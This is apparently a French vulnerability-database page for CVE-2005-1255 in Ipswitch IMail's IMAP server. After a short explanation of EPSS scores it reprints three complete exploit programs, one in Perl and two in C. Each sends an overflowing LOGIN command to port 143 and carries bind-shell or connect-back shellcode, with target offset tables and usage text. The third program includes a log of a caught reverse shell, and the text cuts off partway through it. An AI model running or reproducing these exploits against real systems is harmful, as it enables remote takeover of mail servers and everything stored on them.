CVE-2005-1255 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

# IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope # June 2005 # Confidential! use IO::Socket; # 316 bytes $cbsc = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA" ."\xEB\x05\xE8\xEB\xFF\xFF\xFF" ."\x2B\x39\xC2\xC2\xC2\x9D\xA6\x63\xF2\xC2\xC2\xC2\x49\x82\xCE\x49" ."\xB2\xDE\x6F\x49\xAA\xCA\x49\x35\xA8\xC6\x9B\x2A\x59\xC2\xC2\xC2" ."\x20\x3B\xAA\xF1\xF0\xC2\xC2\xAA\xB5\xB1\xF0\x9D\x96\x3D\xD4\x49" ."\x2A\xA8\xC6\x9B\x2A\x40\xC2\xC2\xC2\x20\x3B\x43\x2E\x52\xC3\xC2" ."\xC2\x96\xAA\xC3\xC3\xC2\xC2\x3D\x94\xD2\x92\x92\x92\x92\x82\x92" ."\x82\x92\x3D\x94\xD6\x49\x1A\xAA\xBD\xC2\xC2\xC3\xAA\xC0\xC2\xC2" ."\xF7\x49\x0E\xA8\xD2\x93\x91\x3D\x94\xDA\x47\x02\xB7\x88\xAA\xA1" ."\xAF\xA6\xC2\x4B\xA4\xF2\x41\x2E\x96\x4F\xFE\xE6\xA8\xD7\x9B\x69" ."\x20\x3F\x04\x86\xE6\xD2\x86\x3C\x86\xE6\xFF\x4B\x9E\xE6\x8A\x4B" ."\x9E\xE6\x8E\x4B\x9E\xE6\x92\x4F\x86\xE6\xD2\x96\x92\x93\x93\x93" ."\xA8\xC3\x93\x93\x3D\xB4\xF2\x93\x3D\x94\xC6\x49\x0E\xA8\x3D\x3D" ."\xF3\x3D\x94\xCA\x91\x3D\x94\xDE\x3D\x94\xCE\x93\x94\x49\x87\xFE" ."\x49\x96\xEA\xBA\xC1\x17\x90\x49\xB0\xE2\xC1\x37\xF1\x0B\x8B\x83" ."\x6F\xC1\x07\xF1\x19\xCD\x7C\xD2\xF8\x14\xB6\xCA\x03\x09\xCF\xC1" ."\x18\x82\x29\x33\xF9\xDD\xB7\x25\x98\x49\x98\xE6\xC1\x1F\xA4\x49" ."\xCE\x89\x49\x98\xDE\xC1\x1F\x49\xC6\x49\xC1\x07\x69\x9C\x9B\x01" ."\x2A\xC2\x3D\x3D\x3D\x4C\x8C\xCC\x2E\xB0\x3C\x71\xD4\x6F\x1B\xC7" ."\x0C\xBC\x1A\x20\xB1\x09\x2F\x3E\xF9\x1B\xCB\x37\x6F\x2E\x3B\x68" ."\xA2\x25\xBB\x04\xBB"; $numtargets = 12; @targets = ( ["Ipswitch IMAIL Server IMAPD 7.04", "\x5F\x2E\x01\x10", 1], ["Ipswitch IMAIL Server IMAPD 7.07", "\x3F\x34\x01\x10", 1], ["Ipswitch IMAIL Server IMAPD 7.13", "\x33\x36\x01\x10", 1], ["Ipswitch IMAIL Server IMAPD 7.15", "\x53\x36\x01\x10", 1], ["Ipswitch IMAIL Server IMAPD 8.00/8.01/8.02/8.03", "\x53\x36\x01\x10", 1], ["Ipswitch IMAIL Server IMAPD 8.04", "\x73\x36\x01\x10", 1], ["Ipswitch IMAIL Server IMAPD 8.05 NO HOTFIX", "\xB3\x36\x01\x10", 1], ["Ipswitch IMAIL Server IMAPD 8.05HF1/8.05HF2/8.05HF3", "\x03\x37\x01\x10", 1], ["Ipswitch IMAIL Server IMAPD 8.10", "\xfe\xf9\x01\x10", 0], ["Ipswitch IMAIL Server IMAPD 8.11", "\x8e\x02\x02\x10", 0], ["Ipswitch IMAIL Server IMAPD 8.12/8.13/8.14", "\x2e\x0b\x02\x10", 0], ["Ipswitch IMAIL Server IMAPD 8.15", "\x0e\x0e\x02\x10", 0] ); print "IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope VER1\n"; if ($#ARGV ne 3) { print "usage: imail.pl target targettype yourip yourport\n\n"; for ($i=0; $i<$numtargets; $i++) { print " [".$i."]...". $targets[$i][0]. "\r\n"; } exit(0); } $tt=$ARGV[1]; $ret = $targets[$tt][1]; $cbip=$ARGV[2]; $cbport=$ARGV[3]; ($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip")); $a1 = chr(ord($a1) ^ 0xc2); $a2 = chr(ord($a2) ^ 0xc2); $a3 = chr(ord($a3) ^ 0xc2); $a4 = chr(ord($a4) ^ 0xc2); substr($cbsc, 111, 4, $a1 . $a2 . $a3 . $a4); ($p1, $p2) = split(//, reverse(pack("s", $cbport))); $p1 = chr(ord($p1) ^ 0xc2); $p2 = chr(ord($p2) ^ 0xc2); substr($cbsc, 118, 2, $p1 . $p2); print "[*] $ARGV[0]\n"; print "[*] ".$targets[$tt][0]."\n"; $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => '143', Proto => 'tcp'); $findsc="\x83\xc0\x04\x81\x38\x53\x45\x58\x59\x74\x02\xeb\xf3\x83\xc0\x04\xff\xe0"; if ($targets[$tt][2] eq 0) { $a="@" . "SEXY" . $cbsc . "A" x 358 . "\xeb\x04" . $ret . "AAAA" . $findsc . "A" x 1000; # IMAIL > 8.00 } if ($targets[$tt][2] eq 1) { $a="@" . "SEXY" . $cbsc . "A" x 366 . "\xeb\x04" . $ret . "AAAA" . $findsc . "A" x 1000; # IMAIL 8.00 } print $sock "a001 LOGIN \"" . $a . "\" password\r\n"; while(<$sock>) { print; } # milw0rm.com [2005-08-01]

/* Dreatica-FXP crew * * ---------------------------------------- * Target : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit * Site : http://www.ipswitch.com * Found by : iDEFENSE Security (http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=243) * ---------------------------------------- * Exploit date : 31.03.2007 * Exploit writer : Heretic2 (heretic2x@gmail.com) * OS : Windows 2000 SP4 and Windows XP ALL * Crew : Dreatica-FXP * ---------------------------------------- * Info: Well, this is the realization of the IMAIL IMAPd 'LOGIN' buffer overflow vulnerability. * The version provided by kcope uses SEH overwrite method, which doesn't work on Windows XP SP2, * so i have written the exploit that overwrites EIP and then execute the shellcode. * * I have tested this exploit on the all versions of Imail from 7.13 to 8.20, versions < 7.13 are also vulnerable, * but i don't have them to test the exploit, Windows 2000 SP4 and Windows XP SP0-SP2. * * Here you need to select the OS and the IMAIL version, that is not good, but anyone with some brain can * easily modify the code to get version of Imail from banner or obtain 'data segment' value without knowing * the Imail version. * * ---------------------------------------- * Thanks to: * iDEFENSE Security ( http://labs.idefense.com/ * The Metasploit project ( http://metasploit.com ) * kcope ( <kingcope [at] gmx.net> ) * Dreatica-FXP crew ( ) * ---------------------------------------- * This was written for educational purpose only. Use it at your own risk. Author will be not be * responsible for any damage, caused by that code. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #pragma comment(lib,"ws2_32") void usage(char * s); void help(char * s); void logo(); SOCKET do_connect (char *remotehost, int port); void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport); void make_buffer(unsigned char * buf, int itarget, int sh, char * cbip, int cbport, int ifix); int send_buffer(SOCKET sa, char * buf, char * remotehost, int port); int validate_args(int port, int sh, int itarget, int fix); // ################################################### // # XGetopt.h Version 1.2 // ################################################### extern int optind, opterr; extern char *optarg; int getopt(int argc, char *argv[], char *optstring); // ################################################## struct _target{ const char *t ; unsigned long ret ; } targets[] = { // jmp esp {"Windows 2000 SP4 ENG [ shell32.dll ]", 0x7850d3bf }, {"Windows XP SP0 ENG [ ntdll.dll ]", 0x77f439e3 }, {"Windows XP SP0 RUS [ ntdll.dll ]", 0x77f5801c }, {"Windows XP SP1 ENG [ ntdll.dll ]", 0x77fa59cc }, {"Windows XP SP1 RUS [ ntdll.dll ]", 0x77fb59cc }, {"Windows XP SP2 ENG [ ntdll.dll ]", 0x7C941eed }, {"Windows XP SP2 RUS [ ntdll.dll ]", 0x7C941eed }, {"Windows XP SP2 RUS(no patches) [ shell32.dll ]", 0x7C82385D }, {NULL, 0x00000000 } }; struct _imail{ const char * name ; unsigned long fix; }imailfix[] = { // address to data segment in Mailbox {"Ipswitch IMAIL Server IMAPD 7.04 - 8.05HF3", 0x10034000}, {"Ipswitch IMAIL Server IMAPD 8.10 - 8.11 ", 0x1002f000}, {"Ipswitch IMAIL Server IMAPD 8.12 - 8.20 ", 0x10031000}, {NULL, 0x00000000} }; struct _shellcode{ const char * name; char * shellcode; } shellcodes[]={ // bad charachters: 0x00 0x03 0x0A 0x0C 0x22 0x5C (and more) {"Spawn bindshell on port 4444", /* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */ "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63" "\xb4\x7d\x58\x83\xeb\xfc\xe2\xf4\x9f\xde\x96\x15\x8b\x4d\x82\xa7" "\x9c\xd4\xf6\x34\x47\x90\xf6\x1d\x5f\x3f\x01\x5d\x1b\xb5\x92\xd3" "\x2c\xac\xf6\x07\x43\xb5\x96\x11\xe8\x80\xf6\x59\x8d\x85\xbd\xc1" "\xcf\x30\xbd\x2c\x64\x75\xb7\x55\x62\x76\x96\xac\x58\xe0\x59\x70" "\x16\x51\xf6\x07\x47\xb5\x96\x3e\xe8\xb8\x36\xd3\x3c\xa8\x7c\xb3" "\x60\x98\xf6\xd1\x0f\x90\x61\x39\xa0\x85\xa6\x3c\xe8\xf7\x4d\xd3" "\x23\xb8\xf6\x28\x7f\x19\xf6\x18\x6b\xea\x15\xd6\x2d\xba\x91\x08" "\x9c\x62\x1b\x0b\x05\xdc\x4e\x6a\x0b\xc3\x0e\x6a\x3c\xe0\x82\x88" "\x0b\x7f\x90\xa4\x58\xe4\x82\x8e\x3c\x3d\x98\x3e\xe2\x59\x75\x5a" "\x36\xde\x7f\xa7\xb3\xdc\xa4\x51\x96\x19\x2a\xa7\xb5\xe7\x2e\x0b" "\x30\xe7\x3e\x0b\x20\xe7\x82\x88\x05\xdc\x6c\x04\x05\xe7\xf4\xb9" "\xf6\xdc\xd9\x42\x13\x73\x2a\xa7\xb5\xde\x6d\x09\x36\x4b\xad\x30" "\xc7\x19\x53\xb1\x34\x4b\xab\x0b\x36\x4b\xad\x30\x86\xfd\xfb\x11" "\x34\x4b\xab\x08\x37\xe0\x28\xa7\xb3\x27\x15\xbf\x1a\x72\x04\x0f" "\x9c\x62\x28\xa7\xb3\xd2\x17\x3c\x05\xdc\x1e\x35\xea\x51\x17\x08" "\x3a\x9d\xb1\xd1\x84\xde\x39\xd1\x81\x85\xbd\xab\xc9\x4a\x3f\x75" "\x9d\xf6\x51\xcb\xee\xce\x45\xf3\xc8\x1f\x15\x2a\x9d\x07\x6b\xa7" "\x16\xf0\x82\x8e\x38\xe3\x2f\x09\x32\xe5\x17\x59\x32\xe5\x28\x09" "\x9c\x64\x15\xf5\xba\xb1\xb3\x0b\x9c\x62\x17\xa7\x9c\x83\x82\x88" "\xe8\xe3\x81\xdb\xa7\xd0\x82\x8e\x31\x4b\xad\x30\x93\x3e\x79\x07" "\x30\x4b\xab\xa7\xb3\xb4\x7d\x58" }, {"ConnectBack shell (set the CBIP and CBPort)", /* thx to the one who wrote it, taken from kcope exploit */ "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x2B\x39\xC2\xC2\xC2\x9D\xA6\x63\xF2\xC2\xC2\xC2\x49\x82\xCE\x49" "\xB2\xDE\x6F\x49\xAA\xCA\x49\x35\xA8\xC6\x9B\x2A\x59\xC2\xC2\xC2" "\x20\x3B\xAA\xF1\xF0\xC2\xC2\xAA\xB5\xB1\xF0\x9D\x96\x3D\xD4\x49" "\x2A\xA8\xC6\x9B\x2A\x40\xC2\xC2\xC2\x20\x3B\x43\x2E\x52\xC3\xC2" "\xC2\x96\xAA\xC3\xC3\xC2\xC2\x3D\x94\xD2\x92\x92\x92\x92\x82\x92" "\x82\x92\x3D\x94\xD6\x49\x1A\xAA\xBD\xC2\xC2\xC3\xAA\xC0\xC2\xC2" "\xF7\x49\x0E\xA8\xD2\x93\x91\x3D\x94\xDA\x47\x02\xB7\x88\xAA\xA1" "\xAF\xA6\xC2\x4B\xA4\xF2\x41\x2E\x96\x4F\xFE\xE6\xA8\xD7\x9B\x69" "\x20\x3F\x04\x86\xE6\xD2\x86\x3C\x86\xE6\xFF\x4B\x9E\xE6\x8A\x4B" "\x9E\xE6\x8E\x4B\x9E\xE6\x92\x4F\x86\xE6\xD2\x96\x92\x93\x93\x93" "\xA8\xC3\x93\x93\x3D\xB4\xF2\x93\x3D\x94\xC6\x49\x0E\xA8\x3D\x3D" "\xF3\x3D\x94\xCA\x91\x3D\x94\xDE\x3D\x94\xCE\x93\x94\x49\x87\xFE" "\x49\x96\xEA\xBA\xC1\x17\x90\x49\xB0\xE2\xC1\x37\xF1\x0B\x8B\x83" "\x6F\xC1\x07\xF1\x19\xCD\x7C\xD2\xF8\x14\xB6\xCA\x03\x09\xCF\xC1" "\x18\x82\x29\x33\xF9\xDD\xB7\x25\x98\x49\x98\xE6\xC1\x1F\xA4\x49" "\xCE\x89\x49\x98\xDE\xC1\x1F\x49\xC6\x49\xC1\x07\x69\x9C\x9B\x01" "\x2A\xC2\x3D\x3D\x3D\x4C\x8C\xCC\x2E\xB0\x3C\x71\xD4\x6F\x1B\xC7" "\x0C\xBC\x1A\x20\xB1\x09\x2F\x3E\xF9\x1B\xCB\x37\x6F\x2E\x3B\x68" "\xA2\x25\xBB\x04\xBB" }, {NULL , NULL } }; // jump to our shellcode unsigned char jmpcode[] = "\x8B\xc4\x66\x2D\xEC\x01\x66\x81\xec\xf0\x02\xFF\xE0"; int main(int argc, char **argv) { char * remotehost=NULL, * cbip=NULL; char def_cbip[]="127.0.0.1"; char temp1[100], temp2[100]; int cbport, port, itarget=0, sh=0, fix=0; SOCKET s; char c; logo(); WSADATA wsa; WSAStartup(MAKEWORD(2,0), &wsa); if(argc<2) { usage(argv[0]); WSACleanup(); return -1; } // set defaults cbport=4444; port=143; // ------------ while((c = getopt(argc, argv, "h:p:s:t:I:P:f:"))!= EOF) { switch (c) { case 'h': remotehost=optarg; break; case 's': sscanf(optarg, "%d", &sh); sh--; break; case 't': sscanf(optarg, "%d", &itarget); itarget--; break; case 'f': sscanf(optarg, "%d", &fix); fix--; break; case 'p': sscanf(optarg, "%d", &port); break; case 'P': sscanf(optarg, "%d", &cbport); break; case 'I': cbip=optarg; break; default: usage(argv[0]); return -1; } } if(remotehost==NULL) { usage(argv[0]); WSACleanup(); return -1; } if((sh==1)&&(cbip==NULL)) cbip = def_cbip ; if(validate_args(port, sh, itarget, fix)==-1) return -1; memset(temp1,0,sizeof(temp1)); memset(temp2,0,sizeof(temp2)); memset(temp1, '\x20' , 58 - strlen(remotehost) -1); printf(" # Host : %s%s# \n", remotehost, temp1); sprintf(temp2, "%d", port); memset(temp1,0,sizeof(temp1)); memset(temp1, '\x20' , 58 - strlen(temp2) -1); printf(" # Port : %s%s# \n", temp2, temp1); memset(temp1,0,sizeof(temp1)); memset(temp2,0,sizeof(temp2)); sprintf(temp2, "%s", shellcodes[sh].name ); memset(temp1, '\x20' , 58 - strlen(temp2) -1); printf(" # Shellcde: %s%s# \n", temp2, temp1); memset(temp1,0,sizeof(temp1)); memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1); printf(" # Target : %s%s# \n", targets[itarget].t, temp1); if(sh==1) { memset(temp1,0,sizeof(temp1)); memset(temp1, '\x20' , 58 - strlen(cbip) -1); printf(" # CB IP : %s%s# \n", cbip, temp1); sprintf(temp2, "%d", cbport); memset(temp1,0,sizeof(temp1)); memset(temp1, '\x20' , 58 - strlen(temp2) -1); printf(" # CB port : %s%s# \n", temp2, temp1); } printf(" # ------------------------------------------------------------------- # \n"); printf("[+] Checking if server is online... "); fflush(stdout); s=do_connect(remotehost, port); if(s==-1) { fprintf(stdout, "failed\n"); return 0; } closesocket(s); printf("SUCCESS!\n"); char buf[1000]; memset(buf,0,sizeof(buf)); printf("[+] Constructing attacking buffer... "); fflush(stdout); make_buffer((unsigned char *)buf,itarget,sh,cbip,cbport,fix); printf("done\n"); SOCKET sa; sa=do_connect(remotehost, port); if(sa==-1) { fprintf(stdout, "[-] Connection failed to server %s\n", remotehost); return -1; } printf("[+] Sending %d bytes of buffer to server\n", strlen(buf)); if(send_buffer(sa, buf,remotehost,port)==0) { fprintf(stdout, "[-] Cannot send the buffer to server %s\n", remotehost); return -1; } printf("[+] Buffer sent\n"); closesocket(sa); if(sh==0) { printf("[+] Connect to %s:%d\n", remotehost, 7915); }else { printf("[+] The shell should arrive to %s:%d", cbip, cbport); } WSACleanup(); return 0; } int validate_args(int port, int sh, int itarget, int fix) { int i=0,x=0; for(i=0;shellcodes[i].name;i++)if(i==sh)x=1; if(x==0) { printf("[-] The shellcode number is invalid\n"); return -1; } x=0; for(i=0;targets[i].t;i++)if(i==itarget)x=1; if(x==0) { printf("[-] The target is invalid\n"); return -1; } x=0; for(i=0;imailfix[i].name;i++)if(i==fix)x=1; if(x==0) { printf("[-] The imail version is invalid\n"); return -1; } if(port<=0) { printf("[-] The port is invalid\n"); return -1; } return 1; } SOCKET do_connect (char *remotehost, int port) { static struct hostent *host; static struct sockaddr_in addr; static int done=0; SOCKET s; if (done != 1) { host = gethostbyname(remotehost); if (!host) { perror("[-] gethostbyname() failed"); return -1; } addr.sin_addr = *(struct in_addr*)host->h_addr; } s = socket(PF_INET, SOCK_STREAM, 0); if (s == -1) { closesocket(s); perror("socket() failed"); return -1; } addr.sin_port = htons(port); addr.sin_family = AF_INET; if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1) { closesocket(s); return -1; } done=1; return s; } void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport) { memcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode)); if(sh==1) { static struct hostent *host = gethostbyname(cbip); static struct sockaddr_in addr; addr.sin_addr = *(struct in_addr*)host->h_addr; fsh[111] = (addr.sin_addr.S_un.S_un_b.s_b1) ^ 0xc2; fsh[112] = (addr.sin_addr.S_un.S_un_b.s_b2) ^ 0xc2; fsh[113] = (addr.sin_addr.S_un.S_un_b.s_b3) ^ 0xc2; fsh[114] = (addr.sin_addr.S_un.S_un_b.s_b4) ^ 0xc2; fsh[118] = ((cbport >> 8) & 0xff) ^ 0xc2; fsh[119] = ((cbport ) & 0xff) ^ 0xc2; } } void make_buffer(unsigned char * buf, int itarget, int sh, char * cbip, int cbport, int ifix) { // prepare shellcode unsigned char * fsh; fsh = (unsigned char *) malloc ((strlen(shellcodes[sh].shellcode)+1) ); memset(fsh, 0, (strlen(shellcodes[sh].shellcode)+1)); prepare_shellcode(fsh, sh, cbip, cbport); // ----------------- // init buffer memset(buf,0,sizeof(buf)); unsigned char * cp = buf; *cp++ = '@'; *cp++ = '\x90'; *cp++ = '\x90'; *cp++ = '\x90'; *cp++ = '\x90'; // write shellcode memcpy(cp, fsh, strlen((char *)fsh) ); cp+=strlen((char *)cp); memset(cp, 'A', 488-strlen((char *)fsh)); cp+=strlen((char *)cp); // set EIP *cp++ = (unsigned char)((targets[itarget].ret ) & 0xff); *cp++ = (unsigned char)((targets[itarget].ret >> 8) & 0xff); *cp++ = (unsigned char)((targets[itarget].ret >> 16) & 0xff); *cp++ = (unsigned char)((targets[itarget].ret >> 24) & 0xff); *cp++ = '\x41'; *cp++ = '\x41'; *cp++ = '\x41'; *cp++ = '\xeb'; *cp++ = '\x03'; *cp++ = (unsigned char)((imailfix[ifix].fix >> 8) & 0xff); *cp++ = (unsigned char)((imailfix[ifix].fix >> 16) & 0xff); *cp++ = (unsigned char)((imailfix[ifix].fix >> 24) & 0xff); // add jump back memcpy(cp, jmpcode, strlen((char *)jmpcode)); // ----------- } int send_buffer(SOCKET s, char * buf, char * remotehost, int port) { char bufmax[1024]; recv(s, bufmax, sizeof(bufmax),0); char sendbuf[1000]; memset(sendbuf, 0, sizeof(sendbuf)); strcat(sendbuf, "a001 LOGIN \""); strcat(sendbuf, buf); strcat(sendbuf, "\" password\r\n"); int sentbytes=send(s, sendbuf, (int)strlen(sendbuf),0); if(sentbytes<(int)strlen(sendbuf)) return 0; return 1; } void usage(char * s) { printf(" Usage: %s -h <host> [-p <port>] [-s <shellcode>] [-t <target>] [-f <imail>] [-I <cb IP>] [-P <cb port>]\n\n", s); printf(" ----------------------------------------------------------------------- \n"); printf(" Arguments:\n"); printf(" -h host to connect \n"); printf(" -p port (default: 143 )\n"); printf(" -s shellcode (default: 1 )\n"); printf(" -t target (default: 1 )\n"); printf(" -f Imail version (default: 1 )\n"); printf(" -I connect back IP (default: 127.0.0.1)\n"); printf(" -P connect back port(default: 4444 )\n"); printf("\n"); printf(" Shellcodes:\n"); for(int i=0; shellcodes[i].name!=0;i++) { printf(" %d. %s\n",i+1,shellcodes[i].name); } printf("\n"); printf(" Targets:\n\n"); int j; for(j=0; targets[j].t!=0;j++) { printf(" %d. %s\n",j+1,targets[j].t); } printf("\n"); printf(" Imail version:\n\n"); for(j=0; imailfix[j].name!=0;j++) { printf(" %d. %s\n",j+1,imailfix[j].name); } printf("\n"); printf(" ----------------------------------------------------------------------- \n"); } // ################################################### // # XGetopt.h Version 1.2 // ################################################### char *optarg; // global argument pointer int optind = 0; // global argv index int getopt(int argc, char *argv[], char *optstring) { static char *next = NULL; if (optind == 0) next = NULL; optarg = NULL; if (next == NULL || *next == '\0') { if (optind == 0) optind++; if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0') { optarg = NULL; if (optind < argc) optarg = argv[optind]; return EOF; } if (strcmp(argv[optind], "--") == 0) { optind++; optarg = NULL; if (optind < argc) optarg = argv[optind]; return EOF; } next = argv[optind]; next++; // skip past - optind++; } char c = *next++; char *cp = strchr(optstring, c); if (cp == NULL || c == ':') return '?'; cp++; if (*cp == ':') { if (*next != '\0') { optarg = next; next = NULL; } else if (optind < argc) { optarg = argv[optind]; optind++; } else { return '?'; } } return c; } // ################################################### void logo() { printf(" ####################################################################### \n"); printf(" # ____ __ _ ______ __ _____ #\n"); printf(" # / __ \\________ _____/ /_(_)_________ / __/\\ \\/ / / _ / #\n"); printf(" # / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___ / / \\ / / // / #\n"); printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \\ / ___/ #\n"); printf(" # /_____/_/ \\___/ \\_,_/\\__/_/\\___/\\__,_/ /_/ /_/\\_\\/_/ #\n"); printf(" # crew #\n"); printf(" ####################################################################### \n"); printf(" # Exploit : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit # \n"); printf(" # Version : 1.0 # \n"); printf(" # System : Windows 2000 SP4, Windows XP ALL # \n"); printf(" # Date : 31.03.2007 # \n"); printf(" # ------------------------------------------------------------------- # \n"); } // milw0rm.com [2007-04-01]

/* IpSwitch IMAP Server LOGON stack overflow. Software Hole discovered by iDEFENSE POC written by nolimit and BuzzDee First, some information for the few of you that know how this stuff works. The reason you see no SP2 or 2003 offsets is because of Windows SEH checks. Thats right, in this one situation, They've stopped hackers from exploiting the machine. At least with as much research as I care to do. The problem lies in the fact that only alpha numeric memory addresses can be used in this exploit. So what lies within the few regions of memory that is alpha numeric safe? Only system DLLs.(Well also a 7000 byte TEB block section, which doesn't really produce much either). So any SEH address overwritten that points to a system DLL will fail past Windows XP SP2. From what I've read and the few tricks I've tried, Theirs no way currently to get around the protection In my situation. For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This is because of two reasons, While I've developed along with skylined an alpha numeric shellcode to handle the stack protections in Windows XP/2K3, I don't think he's ready to release it yet.So, when It does come around, you can use that and re-adjust the stack accordingly for proper exploitation of SP1. The size we have on the stack is too small for a bindshell, but big enough for a reverse shell! So I use ALPHA2's decoder and encoder (modified) to write info to reverse shell, then encode it. visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php for more information. Now, for the "impact assessment". Because this doesn't work on SP2 / 2003, the 53 million users that use Imail should mostly be safe from complete ownage. But, Do not let this fact let you not patch your server! This exploit, sent with any offset, will still crash your IMAP server! With that said, Thier is still a small amount of servers online that run one of these targetted offsets, and therefore can be exploited. I hope this Proof Of Concept is the push administrators need to patch their software. For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs. C:\HACKING\tools>nc -vv -l -p 3333 listening on [any] 3333 ... DNS fwd/rev mismatch: 2kvm != 2kvm.launchmodem.com connect to [192.168.1.95] from 2kvm [192.168.1.93] 1078 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>_ Questions? Comments? nolimit@coreiso.org - - ---. .----------------------. | · | :::::::::''''':::::: | ! · / l ''''' '': | ` /_/ .--- --·X·----------- -- - - | - c o r e i s o __ \ · - - ---. | ! : /_/\ \/ | | _\ \ \ | S! /\____ | _ ______/\ __ ______/\ __ ______/\ / /\_\/ _______ /\______ _/ _/_____\ _ \__ _ \__ _ \_/ / \ _/ ____// _ \_ // / _ / / _/ / / / / / \_____ |/ / _/ / / / _/ \ _/\ ______/\/ /: |/ / /| \ ___________/\ _________\ _____|\______\ __________\ /|| _______________| \/ . . \/ \/ . \/ /_/ / |______\ . | | . _\ \ / | | | l /_/\_\/ | `------ | ------- -- - - ---·X·-- - -_\ \ \ - - - -- ----' . | :. ..... !. / /\_\/ : | :::::......::::::::: |: / /. \ | `----------------------'| /_// / www.coreiso.org `--- - - | \ \ / Innovation, not imitation. - - ---' \_\/ */ #include <stdio.h> #include <string.h> #include <winsock.h> #pragma comment(lib,"ws2_32") void cmdshell (int sock); long gimmeip(char *hostname); char buffer[2500]; //special stuff char* alphaEncodeShellcode(char *shellcode, int size); // un-crypted shellcode that we'll fill our retn values, then encode. char unEncShellcode[]= "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" //160 above, ip next 4 bytes then, pass 2 theres port "\x64\x64\x64\x64\x66\x68\x0d\x05\x66\x53\x89\xe1\x95\x68\xec\xf9" "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"; //modified encoded alpha num SUB ECX, 2E8 JMP ECX char jmpBack[]= "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089" "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIoqYyKHTB30WpyoKQAPA"; int paddingSize; // change when changing shellcode. 676 bytes - shellcodesize = this. char jmp2KSP4[] = "\x40\x43\x44\x78"; //JMP EBX 2000 SP4 TESTED char jmp2KSP3[] = "\x40\x23\x44\x78"; //JMP EBX 2000 SP3 char jmp2KSP2[] = "\x40\x21\x46\x78"; //JMP EBX 2000 SP2 char jmp2KSP1[] = "\x62\x54\x30\x77"; //POP POP RETN 2000 SP1 (no jmp ebx) char jmp2KSP0[] = "\x6C\x30\x6B\x77"; //JMP EBX 2000 SP0 char jmpXPSP0[] = "\x63\x4F\x60\x77"; //JMP EBX WinXP SP0 no SEH XOR prot so JMP EBX is ok int main(int argc,char *argv[]) { WSADATA wsaData; struct sockaddr_in targetTCP; int sockTCP; unsigned short port = 143; long ip; if(argc < 5) { printf("IpSwitch IMAP server Remote Stack Overflow.\n" "This exploit uses a reverse shell payload.\n" "Usage: %s [retnaddr] [retport] [target] [address] <port_to_exploit>\n" " eg: %s 192.168.1.94 1564 2 192.168.1.95\n" "Targets:\n" "1. Windows XP SP 0.\n2. Windows 2000 SP4\n3. Windows 